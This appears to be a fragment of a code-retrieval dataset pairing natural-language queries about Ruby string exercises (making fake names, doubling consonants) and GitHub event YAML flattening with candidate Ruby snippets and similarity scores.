"def pirates_say_arrrrrrrrr(string) \n to_return = \"\" # return a string\n add_next = false \n string.size.times do |index| #iterate upwards adding to the index for each look\n current_char = string[index,1] # the present character is index 1 ont he string\n to_return << current_char if add_next #move to the next character\n add_next = (current_char == \"r\" || current_char == \"R\") # only add if the current character is an upper or lower case \n end\n to_return\nend",
"def starts_with_consonant? s\n s_lower=s.downcase\n if /^[a-z&&[^aeiou]]/.match(s_lower) \n return true\n else \n return false\n end\nend",
"def vowel_changer(letter)\r\n\tif letter == \"u\"\r\n\t\tnew_letter = \"a\"\r\n\telse\r\n\t\tvowel_index = \"aeiou\".index(letter)\r\n \t\tnew_letter =\"aeiou\"[vowel_index.next]\r\n\tend\r\nend",
"def starts_with_consonant? s\n # If empty, return false\n if s.size == 0\n return false\n end\n # Check if first character matches a consonant\n if s[0].match(/[[a-zA-Z]&&[^aeiouAEIOU]]/)\n return true\n else\n return false\n end\nend",
"def double_consonants(str)\n repeater_chars = str.chars.map do |char| \n if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n char * 2\n else\n char\n end\n end\n repeater_chars.join\nend",
"def continue_next(choose)\n choose = choose.upcase\n choose == 'Y'\nend",
"def consanant(x)\nif x == \"z\"\n puts \"b\"\nelse\n puts consanants.index + 1\nend\nend",
"def double_consonants(string)\n consonants = %(bcdfghjklmnpqrstvwxyz)\n string.chars.map{ |char| consonants.include?(char.downcase)? char * 2 : char}.join\nend",
"def double_consonants(string)\n result = []\n string.each_char do |char|\n result << char_value(char)\n end\n p result.join\nend",
"def starts_with_consonant?(s)\n\tif s.downcase =~ /\\A(?=[^aeiou])(?=[a-z])/i\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend",
"def next_input\n print '>> '\n gets.chomp.strip.downcase\n end",
"def starts_with_consonant? s\n #Uses regular expression to check if the string starts with a consonant\n if /\\A(?=[^aeiou])(?=[a-z])/i.match(s)!=nil then\n return true\n end\n return false\nend",
"def double_consonants(str)\n str.gsub(/([a-z&&[^aeiou]])/i,'\\1\\1')\nend",
"def make_up_name(name)\nchanged_name = [] #empty array to push letters from name into when it goes through iteration\nvowels = \"aeiou\"\n\nconsonant = \"bcdfghjklmnpqrstvwxyz\"\n\n\n#if the index of the name provided is a consonant then change it to the next letter.\n\nindex = 0 #start at 0\n \n while index < name.length\n \t\tletter = name[index] #takes every index of every letter in name and stores it in a variable\n \t\tif vowels.include?(letter) #deals with edge case\n \t\t\tif letter == \"u\"\n \t\t\t\tchanged_name.push(\"a\")\n \t\t\telse #need to make it so every other vowel changes to next vowel letter.next\n \t\t\tend\n \t\telsif consonant.inlcude?(letter)\n \t\t\tif letter == \"z\" #deals with edge case\n \t\t\t\tchanged_name.push(\"b\")\n \t\t\telse #everything else will need to be next letter using letter.next \t\t \t\t\n \t\t\tend\n \t\telsif letter == \" \"\n \t\t\t\tchanged_name.push(\" \")\n \t\t\tend\n \t\t \t index += 1\n \tend\nnew_name_array = changed_name.join('') #takes all the letters in the array above and puts it in a new array\nnew_name_array.each {|name| p name.capitalize}\nend",
"def consonant_cancel(sentence)\n \tnewSentence = \"\"\n\tsentence.split.each do |word|\n \t# puts word\n \tnewSentence = newSentence + \" \" + find_vowel(word)\n end\n \treturn newSentence\nend",
"def consonant_swap (secret_name)\n\t\n\tsecret_name.map do |letters|\n\t\t\n\t\tif letters == \" \"\n\t\t\tletters\n\t\telsif letters == \"z\"\n\t\t\tletters.gsub!(/[z]/, \"a\")\n\t\telsif letters =~ /[aeiou]/\n\t\t\tletters\n\t\telse \n\t\t\tletters.next!\n\t\t\tif letters =~ /[aeiou]/\n\t\t\t\tletters.next!\n\t\t\tend\n\t\tend\n\n\tend\n\tsecret_name\nend",
"def starts_with_consonant?(s)\n first_symbol = s[0]\n return false if first_symbol.nil?\n\n if %w(a e i o u A E I O U).include? first_symbol\n false # vowels\n elsif ('a'..'z').include? first_symbol.downcase\n true #consolants\n else\n false #nonletters\n end\nend"
] |
[
"0.81774974",
"0.793842",
"0.78743875",
"0.78390753",
"0.7724036",
"0.7724036",
"0.7599899",
"0.75961876",
"0.75937635",
"0.7518389",
"0.75182676",
"0.7357389",
"0.73339355",
"0.7329713",
"0.7313025",
"0.7232356",
"0.7186105",
"0.71557504",
"0.7081289",
"0.7019443",
"0.7015462",
"0.69682443",
"0.6917564",
"0.68963754",
"0.6812412",
"0.676154",
"0.67004865",
"0.6648004",
"0.66459924",
"0.6630034",
"0.6626083",
"0.65441203",
"0.64313734",
"0.64261985",
"0.6371044",
"0.6298946",
"0.6273999",
"0.626602",
"0.6240329",
"0.62332344",
"0.6202262",
"0.6181376",
"0.61765355",
"0.6126579",
"0.6118574",
"0.60868335",
"0.6083683",
"0.6062602",
"0.60481316",
"0.60452706",
"0.60146344",
"0.6011827",
"0.600678",
"0.59984565",
"0.5951499",
"0.59457654",
"0.59440464",
"0.5943745",
"0.5932339",
"0.5932005",
"0.59308296",
"0.59295285",
"0.59163755",
"0.5896302",
"0.5873349",
"0.5872792",
"0.5870851",
"0.5866438",
"0.58583206",
"0.58582616",
"0.58485264",
"0.58403486",
"0.5839814",
"0.5834198",
"0.58153725",
"0.5806363",
"0.5801705",
"0.5792633",
"0.57830554",
"0.5779613",
"0.57739246",
"0.5772236",
"0.5765307",
"0.5742221",
"0.5720222",
"0.5714395",
"0.5707612",
"0.5706858",
"0.57047004",
"0.5702073",
"0.5698352",
"0.5667776",
"0.5665818",
"0.5658793",
"0.5649297",
"0.5647742",
"0.56412536",
"0.564095",
"0.5640576",
"0.5638089"
] |
0.7913301
|
2
|
create a method that takes a name and returns a fake name
|
def make_fake_name(name)
# downcase to avoid issues due to capitalization
# convert name to an array of characters
# for each letter,
name = name.downcase.chars.map! do |letter|
# if it is a vowel, change it to the next vowel
if 'aeiou'.include?(letter)
next_vowel(letter)
# elsif it is a letter, change it to the next consonant
elsif ('a'..'z').include?(letter)
next_consonant(letter)
# otherwise, nil it
end
end
# convert name back to a string and re-capitalize it
name = name.join.capitalize
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def specialize_method_name( name )\n return \"#{name}#{self.class.name.split(\"::\")[-1].gsub(/[A-Z]/){|s| \"_#{s.downcase}\"}}\".intern\n end",
"def fake_name(real_name)\n #call swap name to swap first and last names\n swapped_name = swap_name( real_name)\n last_name = swapped_name[0]\n first_name = swapped_name[1]\n\n #call encrypting method\n fake_last_name = encrypt_word(last_name)\n fake_first_name = encrypt_word(first_name)\n\n #concatenate name\n fake_last_name + \" \" + fake_first_name\nend",
"def new_name; end",
"def fake_name (first_name, last_name)\n \"#{last_name} #{first_name}\"\nend",
"def name(name)\n return \"Hello, #{name}!\"\nend",
"def random_test_name\n @fake_name.name\n end",
"def my_name\n end",
"def name(*) end",
"def name(*) end",
"def real_name\n name\nend",
"def get_name\n return \"#{name}\"\n end",
"def gen_name\n name.to_s.downcase\n end",
"def name\n 'method 2'\n end",
"def spy_name(real_name)\n capitalize(next_letter(swap(real_name)))\nend",
"def dog(name)\n return name\nend",
"def dog(name)\n return name\nend",
"def new_name(old_name)\n \"flexmock_original_behavior_for_#{old_name}\"\n end",
"def new_name(old_name)\n \"flexmock_original_behavior_for_#{old_name}\"\n end",
"def my_name(value)\n name = value\nend",
"def fake_name(name)\n fake_name = name.chars.map! do |letter|\n if letter == \" \"\n letter = \" \"\n elsif \"aeiou\".include?(letter)\n letter = next_vowel(letter)\n elsif \"zdhnt\".include?(letter)\n letter = pre_vowel_scramble(letter)\n else\n letter.next\n end\n end\n fake_name = fake_name.join\n swap_name_order(fake_name)\nend",
"def name = (name)",
"def name() end",
"def fakeName(name)\r\n\tnameLen = name.length\r\n\tnameIndex = 0\r\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n\tcons = [\"b\", \"c\",\"d\", \"f\",\"g\", \"h\",\"j\", \"k\",\"l\", \"m\",\"n\", \"p\",\"q\", \"r\",\"s\", \"t\",\"v\", \"x\", \"z\",\"w\", \"y\"]\r\n\tnewName = \"\"\r\n\twhile nameIndex < nameLen\r\n\t\tvowelArrayIndex = 0\r\n\t\tvowels.each do |vow|\r\n\t\t\tif name[nameIndex] == vow\r\n\t\t\t\tnextchar = next_vowel(vowelArrayIndex)\r\n\t\t\t\tnewName = newName + nextchar\r\n\t\t\tend\r\n\t\t\tvowelArrayIndex += 1\r\n\t\tend\r\n\t\tvowelArrayIndex = 0\r\n\t\tconsArrayIndex = 0\r\n\t\tcons.each do |cons|\r\n\t\t\tif name[nameIndex] == cons\r\n\t\t\t\tnextchar = next_cons(consArrayIndex)\r\n\t\t\t\tnewName = newName + nextchar\r\n\t\t\tend\r\n\t\t\tconsArrayIndex += 1\r\n\t\tend\r\n\t\tnameIndex += 1\r\n\tend\r\n\treturn newName\r\nend",
"def Name(name)\n\tname = SecureRandom.alphanumeric\nend",
"def wrapper(name); end",
"def capitalize_name(name)\n name.call\nend",
"def test_return_name\n t = Town::new 'Dynamic Palisades', ['Matzburg', 'Hash Crossing'], 2, 2\n name = t.return_name\n assert_equal name, 'Dynamic Palisades'\n end",
"def generate(name); end",
"def say_goodnight(name)\r\n \"Dobranoc #{ name.capitalize }\"\r\nend",
"def sanitize_method_name( name )\n name.to_s.camelize\n end",
"def make_fake_name (name)\n\t# Swap first & last name\n\tswap_name = name.split(' ').reverse.join(' ')\n\n\t# Swap characters - change all vowels to next vowel,\n\t# and all consonants to next consonant\n\n\t# Initialize fake_name & index (counter) variables \n\tfake_name = ''\n\tindex = 0\n\twhile index < swap_name.length\n\t\tchar = swap_name[index]\n\n\t\t# For each character\n\t\tif char == ' '\n\t\t\t# If space, add space\n\t\t\tfake_name += ' '\n\t\telse\n\t\t\t# Handle lower & uppercase properly\n\t\t\tif char == char.downcase\n\t\t\t\tfake_name += get_swapped_char(char)\n\t\t\telse\n\t\t\t\tfake_name += get_swapped_char(char.downcase).upcase\n\t\t\tend\n\t\tend\n\n\t\t# Increment counter\n\t\tindex += 1\n\tend\n\n\tfake_name\nend",
"def greeting(name)\n \"Hello #{name.capitalize}!\"\nend",
"def named name\r\n check_string_or_proc name, 'name'\r\n @name = name\r\n end",
"def greeter(name)\n #some code here\nend",
"def make_fake_name (name)\n\t# Swap first & last name\n\tswap_name = name.split(' ').reverse.join(' ')\n\n\tfake_name = ''\n\tindex = 0\n\twhile index < swap_name.length\n\t\tchar = swap_name[index]\n\t\tif char == ' '\n\t\t\tfake_name += ' '\n\t\telse\n\t\t\tif char == char.downcase\n\t\t\t\tfake_name += get_swapped_char(char)\n\t\t\telse\n\t\t\t\tfake_name += get_swapped_char(char.downcase).upcase\n\t\t\tend\n\t\tend\n\n\t\t# Increment counter\n\t\tindex += 1\n\tend\n\n\tfake_name\nend",
"def _name ( name )\n @name = name.to_s\n return self\n end",
"def greeting(name)\n \"Hello \" + name.capitalize + \"!\"\nend",
"def hello(name) \n\t\"hello #{name}\"\nend",
"def ga_to_method_name(name)\n snakecase(name.gsub(/\\Aga:/, \"\")).to_sym\n end",
"def get_name\n return \"Irene\"\nend",
"def name()\n\n end",
"def name_swap(real_name)\n\tnew_name = name_handler(real_name)\n puts new_name\n return new_name\nend",
"def hello(name)\n \"Hello #{name}\"\nend",
"def human_from_name; end",
"def name(namei)\n return \"hola \" + namei + \" Welcome\"#namei->name input\nend",
"def rename_to_bob\n name = 'Bob'\n end",
"def name\n raise NotImplementedError\n end",
"def name\n raise NotImplementedError\n end",
"def greet(name)\n \"Hello #{name.capitalize}!\"\nend",
"def greet(name)\n \"Hello #{name.capitalize}!\"\nend",
"def say_hello(name)\n \"Hi #{name}!\"\nend",
"def name\n \n end",
"def name(_)\n\n end",
"def isNamed\r\n \"#{@name}\"\r\nend",
"def hello(name)\n \"Hello, \"\nend",
"def print_name(name)\n puts \"Hello #{name}.\"\nend",
"def name_return\n'Marcos Paulo'\nend",
"def name\n end",
"def test_get_first_name_returns_name\r\n name_gen = NameGenerator2.new([\"first\"], [\"last\"])\r\n\r\n fn = name_gen.get_first_name(\"don\")\r\n assert_equal(\"first\", fn)\r\n end",
"def name\n\n end",
"def like_name(name)\n raise NotImplementedError.new\n end",
"def indefinite_name\n return \"something\"\n end",
"def name\n name = \"\"\n end",
"def name\n name = \"\"\n end",
"def return_name\n 'Taynara'\nend",
"def name=(_); end",
"def name=(_); end",
"def name=(_); end",
"def name=(_); end",
"def name=(_); end",
"def name=(_); end",
"def name=(_); end",
"def name=(_); end",
"def normal_to_test name\n \"test_#{munge name}\"\n end",
"def print_name(name)\n puts \"#{name}\"\nend",
"def print_name(name)\n puts \"#{name}\"\nend",
"def print_name(name)\n puts \"#{name}\"\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def print_name(name)\n puts name\nend",
"def name_factory\n V01::Name\n end",
"def greeting(name)\n \"Good to see you #{name}\"\nend",
"def new_name(new_name)\n @name = new_name\n end",
"def say_hello(name)\n \"Hello, \" + name\nend"
] |
[
"0.71277565",
"0.71235347",
"0.7045497",
"0.6998256",
"0.6993382",
"0.6946044",
"0.6929188",
"0.68508023",
"0.68508023",
"0.6828969",
"0.67936015",
"0.6789207",
"0.6778685",
"0.6662652",
"0.66410613",
"0.66410613",
"0.6634728",
"0.6634728",
"0.6583612",
"0.6561081",
"0.6545989",
"0.65373486",
"0.6523847",
"0.65156794",
"0.6514544",
"0.65032715",
"0.6486148",
"0.6484544",
"0.64658004",
"0.6452364",
"0.6422509",
"0.64073545",
"0.64071244",
"0.6405654",
"0.64021796",
"0.64019066",
"0.639248",
"0.6376887",
"0.6373116",
"0.63608366",
"0.63551813",
"0.63509566",
"0.63426405",
"0.63343126",
"0.63341385",
"0.633023",
"0.6312096",
"0.6312096",
"0.6309348",
"0.6309348",
"0.6298523",
"0.62979394",
"0.6290672",
"0.6288524",
"0.628768",
"0.6277894",
"0.62685406",
"0.6264711",
"0.6253921",
"0.6244981",
"0.6243813",
"0.62416565",
"0.6232386",
"0.6232386",
"0.6231625",
"0.62312984",
"0.62312984",
"0.62312984",
"0.62312984",
"0.62312984",
"0.62312984",
"0.62312984",
"0.62312984",
"0.62276435",
"0.6227327",
"0.6227327",
"0.6227327",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.62257683",
"0.6225117",
"0.6223295",
"0.62227345",
"0.6220873"
] |
0.0
|
-1
|
create a method that takes a full name and returns a fake full name
|
def make_fake_full_name (full_name)
# put names into an array and swap first and last (if you wanted a string instead: name.partition(' ').reverse.join)
full_name = full_name.split(' ').reverse
# for each name, replace it with a fake name
full_name.map! {|name| make_fake_name(name)}
# convert the full name back to a string with a space between the partial names
full_name = full_name.join(' ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def full_name(first_name, last_name)\n # TODO: the method should return the fullname\n #----------------------------\n\n # your code here\n\n #----------------------------\nend",
"def full_name\n get_full_name\n end",
"def fake_name (first_name, last_name)\n \"#{last_name} #{first_name}\"\nend",
"def full_name\n name\n end",
"def full_name(first,last) #convention = snake_case ; for Js = CamelCase\n name = first.capitalize + \" \" + last.capitalize\n return name\nend",
"def full_name\n \"#{name} (#{urname})\"\n end",
"def full_name(first_name, last_name)\n name = first_name.capitalize + \" \" + last_name.capitalize\n return name\nend",
"def full_name\n \"#{firstname} #{lastname}\"\n end",
"def full_name\n \"#{first_name.capitalize} #{surname.capitalize}\"\n end",
"def full_name\n \"#{name} #{surname}\"\n end",
"def full_name(first_name, last_name)\n \"#{first_name} #{last_name}\"\nend",
"def full_name\n @full_name ||= calculate_full_name\n end",
"def full_name(first, last)\n\tfirst + \" \" + last\nend",
"def full_name\n \"#{username}/#{name}\"\n end",
"def full_name\n full_name = \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name.capitalize} #{last_name.capitalize}\"\n end",
"def full_name\n \"#{first_name} #{family_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{firstname} #{lastname}\".strip\n end",
"def full_name\n \"#{last_name} #{first_name}\"\n end",
"def full_name\n \"#{ first_name } #{ last_name }\"\n end",
"def full_name(first_name, last_name)\n first_name.capitalize + ' ' + last_name.capitalize\nend",
"def full_name\n \"#{ first_name } #{ last_name }\"\n end",
"def fullname\n \"#{forename} #{surname}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\".titleize\n end",
"def full_name\n \"#{first_name} #{last_name}\".titleize\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n f_name + \" \" + l_name \n end",
"def full_name\n \"#{firstname} #{lastname}\".strip\n end",
"def full_name\n \"#{first_name} #{last_name}\".gsub(/\\b('?[a-z])/) { $1.capitalize }.strip\n end",
"def full_name(first_name, last_name)\n first_name + \" \" + last_name\nend",
"def full_name(first_name, last_name)\n first_name + \" \" + last_name\nend",
"def full_name\n \"#{nombre} #{apellidos}\"\n end",
"def full_name\n firstname.capitalize() + \" \" + lastname.capitalize()\n end",
"def full_name\n\t\t\"#{fname} #{lname}\"\n\tend",
"def full_name\n \"#{first_name.titleize} #{last_name.titleize}\"\n end",
"def fullname\n \"#{name} #{surname}\"\n end",
"def full_name\n \"#{name} #{first_last_name} #{second_last_name}\"\n end",
"def full_name\n \t\"#{first_name} #{last_name}\"\n end",
"def fullname\n \"#{first_name.capitalize} #{last_name.capitalize}\"\n end",
"def full_name\n '(unknown)'\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name\n \"#{first_name} #{last_name}\"\n end",
"def full_name(first, last) #this does the same thing but can't be stored as a variable\n\tfirst + \" \" + last\nend",
"def full_name1(first, last)\n first + \" \" + last\nend",
"def full_name\n fname + ' ' + lname\n end",
"def name\n FullName.new(first_name, \"\", last_name)\n end",
"def full_name()\n name + ' ' + last_name\n end",
"def full_name\n begin\n first_name + \" \" + last_name\n rescue\n \"new\"\n end\n end",
"def proper_name # method to get the full name of user\n first_name + \" \" + last_name\n end",
"def full_name\n # TODO: update method -> \"${name}, ${last_name}\"\n name\n end",
"def name\n full_name\n end",
"def fake_name(real_name)\n #call swap name to swap first and last names\n swapped_name = swap_name( real_name)\n last_name = swapped_name[0]\n first_name = swapped_name[1]\n\n #call encrypting method\n fake_last_name = encrypt_word(last_name)\n fake_first_name = encrypt_word(first_name)\n\n #concatenate name\n fake_last_name + \" \" + fake_first_name\nend",
"def get_full_name\n \"#{name} (#{description})\"\n end",
"def full_name\n first_name + \" \" + last_name\n end",
"def full_name\n first_name + \" \" + last_name\n end",
"def full_name\n first_name + \" \" + last_name\n end",
"def full_name\n first_name + \" \" + last_name\n end"
] |
[
"0.7889941",
"0.782253",
"0.78032035",
"0.7752266",
"0.7699821",
"0.76951313",
"0.76771945",
"0.76598346",
"0.76390576",
"0.7635211",
"0.7629882",
"0.7588677",
"0.75661516",
"0.75337845",
"0.75320745",
"0.7521852",
"0.7517981",
"0.7515368",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.7512004",
"0.75111836",
"0.75041276",
"0.748637",
"0.7485919",
"0.7483824",
"0.74776274",
"0.74749047",
"0.7472688",
"0.74714786",
"0.7462453",
"0.7462453",
"0.74458456",
"0.74403286",
"0.74302375",
"0.74290216",
"0.74283546",
"0.74283546",
"0.7423093",
"0.7421918",
"0.74154645",
"0.74145675",
"0.7413321",
"0.7409545",
"0.740058",
"0.7387672",
"0.7378443",
"0.73766655",
"0.73766655",
"0.73766655",
"0.73766655",
"0.7373592",
"0.7373592",
"0.7373592",
"0.7372015",
"0.7371646",
"0.73623747",
"0.7360166",
"0.73598474",
"0.7351358",
"0.73428506",
"0.7335629",
"0.7329463",
"0.73231876",
"0.73218894",
"0.7318732",
"0.7318732",
"0.7318732",
"0.7318732"
] |
0.7930022
|
0
|
Need to doublecheck that the hash YAML is simple enough to also be legal JSON.
|
def flatten_event_payload(event)
case event.type
when 'CreateEvent'
return YAML::dump({ 'ref_type' => event.payload.ref_type, 'description' => event.payload.description })
when 'DeleteEvent'
return YAML::dump({ 'ref_type' => event.payload.ref_type })
when 'DeploymentEvent'
return YAML::dump({ 'name' => event.payload.name })
when 'ForkEvent'
return YAML::dump({ 'forkee' => event.payload.forkee['full_name'] })
when 'GollumEvent'
## TODO: pages[][page_name]
return YAML::dump({ 'action' => event.payload.action })
when 'IssuesEvent'
return YAML::dump({ 'action' => event.payload.action, 'issue' => event.payload.issue['url'] })
when 'IssueCommentEvent'
return YAML::dump({ 'action' => event.payload.action, 'issue' => event.payload.issue['url'] })
when 'MemberEvent'
return YAML::dump({ 'action' => event.payload.action, 'member' => event.payload.member['login'] })
when 'MembershipEvent'
return YAML::dump({ 'action' => event.payload.action, 'member' => event.payload.member['login'], 'team' => event.payload.team['name'], 'scope' => event.payload.scope })
when 'PullRequestEvent'
return YAML::dump({ 'action' => event.payload.action, 'pull_request' => event.payload.pull_request['url'] })
when 'PullRequestReviewCommentEvent'
return YAML::dump({ 'action' => event.payload.action, 'pull_request' => event.payload.pull_request['url'] })
when 'PushEvent'
return YAML::dump({ 'size' => event.payload.size })
when 'ReleaseEvent'
return YAML::dump({ 'action' => event.payload.action, 'release' => event.payload.release['url'] })
when 'RepositoryEvent'
return YAML::dump({ 'action' => event.payload.action, 'repository' => event.payload.repository['full_name'] })
when 'StatusEvent'
return YAML::dump({ 'state' => event.payload.state, 'sha' => event.payload.sha })
when 'TeamAddEvent'
return YAML::dump({ 'team' => event.payload.team['name'], 'repository' => event.payload.repository['full_name'] })
when 'WatchEvent'
return YAML::dump({ 'action' => event.payload.action })
else
# CommitCommentEvent
# DeploymentStatusEvent
# DownloadEvent - No longer exists
# FollowEvent - No longer exists
# ForkApplyEvent - No longer exists
# GistEvent - No longer exists
# PageBuildEvent
# PublicEvent
return ''
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def verify_yaml(yaml)\r\n expect(yaml).to be_instance_of(String)\r\n expect(yaml.length).to be >= 40_000\r\n %w{person: personAddress: syntax:}.each{|s| expect(yaml).to include(s)}\r\n end",
"def yaml_content() = JSON.parse(content.to_json).to_yaml",
"def serialize(hash)\n handle_encoding_errors do\n ::YAML.dump(hash)\n end\n end",
"def validate_data!(filename)\n unless self.data.is_a?(Hash)\n raise Errors::InvalidYAMLFrontMatterError,\n \"Invalid YAML front matter in #{filename}\"\n end\n end",
"def validate_hash(info)\r\n\t\t# passes in the parsed info\r\n\t\tstring_to_hash = get_string_to_hash(info)\r\n\t\tcorrect_hash = get_hash(string_to_hash)\r\n\t\t#puts string_to_hash\r\n\t\treturn correct_hash.strip == info['self_hash'].strip\r\n\tend",
"def convert_json_to_yaml(json) #:nodoc:\n require 'strscan' unless defined? ::StringScanner\n scanner, quoting, marks, pos = ::StringScanner.new(json), false, [], nil\n scanner.scan_until(/\\{/)\n while scanner.scan_until(/(\\\\['\"]|['\":,\\\\]|\\\\.)/)\n case char = scanner[1]\n when '\"', \"'\"\n if !quoting\n quoting = char\n pos = scanner.pos\n elsif quoting == char\n quoting = false\n end\n when \":\",\",\"\n marks << scanner.pos - 1 unless quoting\n when \"\\\\\"\n scanner.skip(/\\\\/)\n end\n end\n raise parse_error unless scanner.scan_until(/\\}/)\n\n if marks.empty?\n raise parse_error\n else\n left_pos = [-1].push(*marks)\n right_pos = marks << scanner.pos + scanner.rest_size\n output = []\n left_pos.each_with_index do |left, i|\n scanner.pos = left.succ\n chunk = scanner.peek(right_pos[i] - scanner.pos + 1)\n chunk.gsub!(/\\\\([\\\\\\/]|u[[:xdigit:]]{4})/) do\n ustr = $1\n if ustr.index('u') == 0\n [ustr[1..-1].to_i(16)].pack(\"U\")\n elsif ustr == '\\\\'\n '\\\\\\\\'\n else\n ustr\n end\n end\n output << chunk\n end\n output = output * \" \"\n\n output.gsub!(/\\\\\\//, '/')\n output\n end\n end",
"def validate!(hash)\n begin\n ::JSON::Validator.validate!(@schema_impl.schema,hash)\n rescue JSON::Schema::ValidationError => e\n # TODO: Not very nice error messages. Maybe make them betterer?\n raise\n end\n end",
"def healthy?() raw && raw.is_a?(Hash) end",
"def validate_format\n JSON.parse(content) && nil if content\n rescue JSON::ParserError => err\n err.message\n end",
"def validate_format\n JSON.parse(content) && nil if content\n rescue JSON::ParserError => err\n err.message\n end",
"def validate_format\n data = JSON.decode(data) if data.class == Hash\n JSON.parse(data) && nil if data.present?\n rescue JSON::ParserError\n nil\n end",
"def validate_hash_against_json_schema(hash, schema_filename)\n raise \"Must supply a hash to #{__method__}\" unless hash.class == Hash\n\n schema = read_json_schema(schema_filename)\n errors = JSON::Validator.fully_validate(schema, hash)\n errors\n end",
"def quote_hash h\n quote_string h.to_yaml\n end",
"def yaml(hash)\n method = hash.respond_to?(:ya2yaml) ? :ya2yaml : :to_yaml\n string = hash.deep_stringify_keys.send(method)\n# string.gsub(\"!ruby/symbol \", \":\").sub(\"---\",\"\").split(\"\\n\").map(&:rstrip).join(\"\\n\").strip\nend",
"def validate!(data)\n fail UnexpectedTypeError, 'A Hash was expected' unless data.is_a? Hash\n end",
"def correct_yaml_in_rule_scheme\n error = false\n begin\n yaml = YAML.load(self.rule_scheme.to_s)\n rescue\n error = true\n end\n error = true if !yaml.blank? && yaml.is_a?(String)\n if error\n errors.add(:rule_scheme, \"You should specify correct YAML format\")\n end\n end",
"def test_incorrect_current_hash\n hash_string = '10|cb0f|281974>443914(6):SYSTEM>572872(100)|1553188611.607041000'\n assert_raises BlockFormatError do\n verify_current_hash(hash_string, 'd5e', 10, PreHash.new)\n end\n end",
"def load_yaml(data, safe: T.unsafe(nil), whitelist_classes: T.unsafe(nil), whitelist_symbols: T.unsafe(nil), aliases: T.unsafe(nil)); end",
"def metadata_hash\n @metadata_hash ||= YAML.load(@chunked_source.metadata) || {}\n rescue Psych::SyntaxError\n msg = \"Bad metadata hash - are you sure it's valid YAML?\\n#{@chunked_source.metadata}\"\n raise SyntaxError, msg\n end",
